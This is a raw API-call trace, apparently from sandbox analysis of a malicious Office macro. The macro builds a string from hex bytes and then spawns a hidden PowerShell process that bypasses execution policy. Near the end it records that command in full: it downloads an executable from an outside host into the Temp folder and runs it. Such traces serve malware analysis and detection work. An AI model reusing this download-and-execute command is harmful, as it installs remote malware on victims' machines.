pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.947] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.947] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.947] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="6A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.947] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="61", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="1D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="26", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="31", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.948] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.948] VarBstrCat (in: bstrLeft="&H", bstrRight="3B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="65", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="0E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="6B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.949] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.949] VarBstrCat (in: bstrLeft="&H", bstrRight="63", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="68", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="6E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="0A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="6B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.950] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.950] VarBstrCat (in: bstrLeft="&H", bstrRight="0E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="31", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="2C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="77", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.951] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.951] VarBstrCat (in: bstrLeft="&H", bstrRight="7C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.952] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.952] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.952] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.952] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.952] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.952] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.952] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.952] VarBstrCat (in: bstrLeft="&H", bstrRight="61", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.952] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.952] VarBstrCat (in: bstrLeft="&H", bstrRight="1F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.952] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.952] VarBstrCat (in: bstrLeft="&H", bstrRight="22", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="2A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="7D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="00", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.953] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.953] VarBstrCat (in: bstrLeft="&H", bstrRight="31", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="3E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.954] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.954] VarBstrCat (in: bstrLeft="&H", bstrRight="3E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="62", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="62", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="12", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.955] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.955] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="2A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="01", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="2B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.956] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.956] VarBstrCat (in: bstrLeft="&H", bstrRight="27", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="79", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="73", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="39", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="27", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.957] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.957] VarBstrCat (in: bstrLeft="&H", bstrRight="71", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.958] VarBstrCat (in: bstrLeft="&H", bstrRight="1F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.958] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.958] VarBstrCat (in: bstrLeft="&H", bstrRight="2C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.958] VarBstrCat (in: bstrLeft="&H", bstrRight="3C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.958] VarBstrCat (in: bstrLeft="&H", bstrRight="61", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.958] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.958] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="1A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.959] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="2A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.959] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.959] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.959] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="20", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.959] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.959] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.959] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="7F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="12", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="3E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="76", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.960] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.960] VarBstrCat (in: bstrLeft="&H", bstrRight="62", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.961] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.961] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://sevice.eu5.org/client.exe',$env:Temp+'\\newfile.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\\newfile.Exe')", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x17dbd0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x2, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x17dbb0 | out: lpCommandLine="powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://sevice.eu5.org/client.exe',$env:Temp+'\\newfile.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\\newfile.Exe')", lpProcessInformation=0x17dbb0*(hProcess=0xf9c, hThread=0xbfc, dwProcessId=0xd50, dwThreadId=0xd54)) returned 1 [0069.256] GetLastError () returned 0x0 [0069.256] WaitForInputIdle (hProcess=0xf9c, dwMilliseconds=0x2710) returned 0xffffffff [0069.256] CloseHandle (hObject=0xbfc) returned 1 [0069.256] CloseHandle (hObject=0xf9c) returned 1 [0069.256] GetAsyncKeyState (vKey=27) returned 0 [0069.261] IMalloc:Free (This=0x7fefecb5380, pv=0x77601c0) [0069.263] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0069.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xafd9718, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 